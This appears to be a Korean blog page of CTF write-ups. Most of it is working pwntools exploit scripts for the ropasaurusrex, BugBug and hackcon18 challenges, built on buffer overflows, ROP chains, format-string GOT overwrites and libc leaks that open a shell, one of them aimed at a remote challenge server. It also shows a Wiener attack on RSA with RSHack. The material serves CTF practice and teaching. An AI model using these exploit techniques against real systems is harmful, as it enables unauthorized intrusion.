53
54
#!/usr/bin/env python
from pwn import *
 
conn = process("./ropasaurusrex")
 
main_addr = 0x804841d
read_plt = 0x804832c
write_plt = 0x804830c
pppr = 0x80484b6
 
read_got = 0x804961c
write_got = 0x8049614
bss = 0x8049628
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# write stdout , read's address
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
# bss <- "/bin/sh" : read stdin
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(main_addr)
 
conn.sendline(payload)
 
read_addr = u32(conn.recv(4))
system_addr = read_addr - 0x9ad60
log.info("read_address   : 0x%x" % read_addr)
log.info("system_address : 0x%x" % system_addr)
 
# read(0, bss, 4)  <- "/bin/sh\x00"
conn.send("/bin/sh\x00")
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bss)
 
conn.sendline(payload)
conn.interactive()
 
 
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13

[Codegate] BugBug

2018. 8. 22. 18:11

아 풀다가 화나서ㅁㄴㅇㄹ... 대체 고놈의 오류때문에;;; 결국 원인은 알아내지못하고 갈아엎고 다시 코드를 짜게 되었다 ㅡㅡ;;;


귀찮아서 설명은 안적겟다 하ㅏㅏㅏㅏ 진짜;;;

그냥 익스코드만 올려놔야지



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char* argv[])
{
    unsigned int seed;
    //FILE* urand = fopen("/dev/urandom", "rb");
    int i,j;
    int random[6]={0,0,0,0,0,0};
    int next_random;
 
    if(argc <2 )
        return 0;
    seed = atoi(argv[1]);
        //fread(&seed, 4, 1, urand);
       srand(seed);
 
    for(i=0; i<6; i++)
    {
        next_random = rand()%45+1;
        for(j=0; j<i; j++)
        {
            if(random[j]==next_random){
                next_random = rand()%45+1;
                j=0;
            }
        }
        random[i]=next_random;
    }
    for(i=0; i<6; i++)
        printf("%d ",random[i]);
    printf("\n");
    return 0;
}    
 
cs






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from subprocess import Popen, PIPE
 
conn = process("./BugBug")
 
def get_lottonum(seed):
    command = "./rand "+str(seed)
    popen = Popen(command, shell=True, stdout=PIPE)
    output, error = popen.communicate()    
    return output
 
exit_got = 0x804A024
printf_got = 0x804A010
main_addr = 0x804882E
 
# exit_got -> main_addr
payload = "%"+str(main_addr&0xFFFF)+"x"
payload += "%21$hn"
payload += "A"*(16-len(payload))
payload += p32(exit_got)
payload += "BASE%4$x"
payload += "B"*(100-len(payload))
 
conn.recvuntil("Who are you?")    
conn.sendline(payload)
conn.recvuntil("Hello~ ")
conn.recv(100)
## leak Lotto SEED
seed = u32(conn.recv(4))
lotto_num = get_lottonum(seed)
 
## leak and FSB
log.info(lotto_num)
conn.recvuntil("==> ")
conn.sendline(lotto_num)
 
## leak BASE_addr
conn.recvuntil("BASE")
base_addr = int(conn.recvuntil("BB")[:-2], 16- 0x1fda74
log.info("base_addr : 0x%x" % base_addr)
 
system_addr = base_addr + 0x3ada0
system_first = (system_addr&0xFFFF)
system_next = (system_addr>>16- (system_addr&0xFFFF)
 
log.info("distance : %d" % (system_next))
 
payload = "%"+str(system_first)+"x"
payload += "%26$hn"
payload += "%"+str(system_next)+"x"
payload += "%27$hn"
payload += "A"*(32-len(payload))
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += "B"*(100-len(payload))
 
conn.sendline(payload)
conn.sendline(lotto_num)
conn.sendline("/bin/sh;")
conn.recvuntil("Input your answer@_@")
conn.sendline(lotto_num)
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13
[WhiteHatWargame.vn] mini-game  (0) 2018.08.13

[hackcon18] Simpe Yet Elegent

2018. 8. 18. 15:13

hackcon 18 에 있었던 pwn 문제중 가장 배점이 높은 문제이다.

사실상 어렵지 않은 문제였는데; 


아마 함정으로 준비한 포맷스트링에 낚여서 꽤나 헤매다가 풀었다 ㅡㅡ;

딱히 FSB를 사용안하고 BOF, ROP를 통해 충분히 풀수 있는 문제였다;;

그래서 flag도 d4rk{r0p_ch41n1n6_15_5up3r_fun_0n_64_b17_5y573m}c0de 

rop chaining만으로 가능한 것...


뭐.. 대부분의 사람들이 fsb로 leak을 했는데, 그 이유가 일단 got영역의 주소가 0x600a00부터인데 여기서 0a가 개행문자이기때문에 scanf에서 짤려버린다;

그래서 puts를 통해 라이브러리주소를 릭을 하고 싶어도 got주소가 안들어가니 막히는 것이다...


그런데 xor을 이용하면 충분히 해결할 수 있는 문제였다.



여기서 pop rdi; ret; xor edi, ebp; ret; 두 가젯만 있으면 rdi값을 컨트롤 할 수 있다.

rdi에 0x601AE0를 넣고 rbp에 0x1000을 넣어서 두개를 xor하면 0x600AE0이 만들어진다!!


이렇게 leak하고 oneshot가젯으로 뛰어서 쉘을 띄웠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
from pwn import *
 
#context.log_level = 'debug'
 
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#conn = process("./main")
 
elf = ELF("./libc-2.19.so")
conn = remote("139.59.30.165"9200)
 
main_addr = 0x400637
fflush_got = 0x600AE0
fflush_offset = elf.symbols['fflush']
oneshot = 0xea36d
 
puts_plt = 0x400510
pop_rdi = 0x400733
xor_edi = 0x4006c3
 
def leak_stack():
    conn.recvuntil("Give me some inputz:")
    payload = "%42$lx"
    payload += "A"*(0x40-len(payload))
    payload += p64(0x1000)
    payload += p64(pop_rdi)
    payload += p64(fflush_got+0x1000)
    payload += p64(xor_edi)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    conn.sendline(payload)
 
    stack_addr = conn.recvuntil("AA").strip()[:-2]
    stack_addr = int(stack_addr,16)-0xd0+0x28
 
    conn.recvline()
    libc_addr = conn.recv(6+ "\x00"*2
    print(len(libc_addr))
    
    libc_addr = u64(libc_addr) - fflush_offset
    return stack_addr, libc_addr
 
def Attack(fsb):
    conn.recvuntil("Give me some inputz:")
    payload = fsb
    payload += "A"*(0x40-len(payload))
    payload += p64(0xdeadbeef)
    payload += p64(main_addr)
 
    conn.sendline(payload)
    
def oneshot_attack(oneshot_addr):
    conn.recvuntil("Give me some inputz:")
    payload = "A"*0x40
    payload += p64(0xdeadbeef)
    payload += p64(oneshot_addr)
 
    conn.sendline(payload)    
    
stack_addr, libc_addr = leak_stack()
log.info("stack_addr : " + hex(stack_addr))
log.info("libc_addr : " + hex(libc_addr))
 
oneshot_addr = libc_addr+oneshot
oneshot_attack(oneshot_addr)
 
conn.interactive()
cs


a

'Write-up > Pwnable' 카테고리의 다른 글

[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13
[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13

hackon ctf 2018에 나왔던 RSA 문제이다.


딱 봐도 e가 큰게 wiener attack이다!! 라고 생각했는데... 내가 가진 공격소스코드로는 풀리지않아서 굉장히 답답했는데;;

대회가 끝나고 난 후 다른사람들 writeup을 보니

잉... 나만 빼고 다들 wiener attack을 잘해서 풀었다 ㅡㅡ;


역시 이미 존재하는 툴이나 소스코드를 잘 활용해야하는 것인가...

문제는 아래와 같다.


You think you have me figured out don't you!?

n = 744818955050534464823866087257532356968231824820271085207879949998948199709147121321290553099733152323288251591199926821010868081248668951049658913424473469563234265317502534369961636698778949885321284313747952124526309774208636874553139856631170172521493735303157992414728027248540362231668996541750186125327789044965306612074232604373780686285181122911537441192943073310204209086616936360770367059427862743272542535703406418700365566693954029683680217414854103

e = 57595780582988797422250554495450258341283036312290233089677435648298040662780680840440367886540630330262961400339569961467848933132138886193931053170732881768402173651699826215256813839287157821765771634896183026173084615451076310999329120859080878365701402596570941770905755711526708704996817430012923885310126572767854017353205940605301573014555030099067727738540219598443066483590687404131524809345134371422575152698769519371943813733026109708642159828957941

c = 305357304207903396563769252433798942116307601421155386799392591523875547772911646596463903009990423488430360340024642675941752455429625701977714941340413671092668556558724798890298527900305625979817567613711275466463556061436226589272364057532769439646178423063839292884115912035826709340674104581566501467826782079168130132642114128193813051474106526430253192254354664739229317787919578462780984845602892238745777946945435746719940312122109575086522598667077632



푸는 법은 wiener attack!!


여기에 있는 소스코드를 참고하여 문제를 풀었다.

(https://github.com/MxRy/rsa-attacks/blob/master/wiener-attack.py)



아니면 RShack을 이용해서 풀어도 좋다.

이 툴 좋네...



sherlock@ubuntu:~/workstation/crytoTool/RSHack$ ./rshack.py 



#########################

#      RSHack v2.1      #

#      Zweisamkeit      #

#      GNU GPL v3       #

#########################




List of the available attacks:


1. Wiener Attack

2. Hastad Attack

3. Fermat Attack

4. Bleichenbacher Attack

5. Common Modulus Attack

6. Chosen Plaintext Attack


List of the available tools:


a. RSA Public Key parameters extraction

b. RSA Private Key parameters extraction

c. RSA Private Key construction (PEM)

d. RSA Public Key construction (PEM)

e. RSA Ciphertext Decipher

f. RSA Ciphertext Encipher


[*] What attack or tool do you want to carry out? 1


***** Wiener Attack *****


[*] Arguments ([-h] -n modulus -e exponent):


-n 744818955050534464823866087257532356968231824820271085207879949998948199709147121321290553099733152323288251591199926821010868081248668951049658913424473469563234265317502534369961636698778949885321284313747952124526309774208636874553139856631170172521493735303157992414728027248540362231668996541750186125327789044965306612074232604373780686285181122911537441192943073310204209086616936360770367059427862743272542535703406418700365566693954029683680217414854103 -e57595780582988797422250554495450258341283036312290233089677435648298040662780680840440367886540630330262961400339569961467848933132138886193931053170732881768402173651699826215256813839287157821765771634896183026173084615451076310999329120859080878365701402596570941770905755711526708704996817430012923885310126572767854017353205940605301573014555030099067727738540219598443066483590687404131524809345134371422575152698769519371943813733026109708642159828957941



~~~~~~~~~~~~~~~~~~~~~~~~~

      Wiener Attack      

       Zweisamkeit       

    GNU GPL v3 License   

~~~~~~~~~~~~~~~~~~~~~~~~~



[+] Private exponent: 108642162821084938181507878056324903120999504739411128372202198922197750954973



'Write-up > Crypto' 카테고리의 다른 글

[RITSEC2018] DarkPearAI  (0) 2018.11.19
[CSAW Quals 2017] BabyCrypt Writeup  (0) 2018.09.14
[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30

[WhiteHatWargame.vn] nobaby

2018. 8. 13. 02:01

[WhiteHatWargame.vn] mini-game

2018. 8. 13. 01:52

+ Recent posts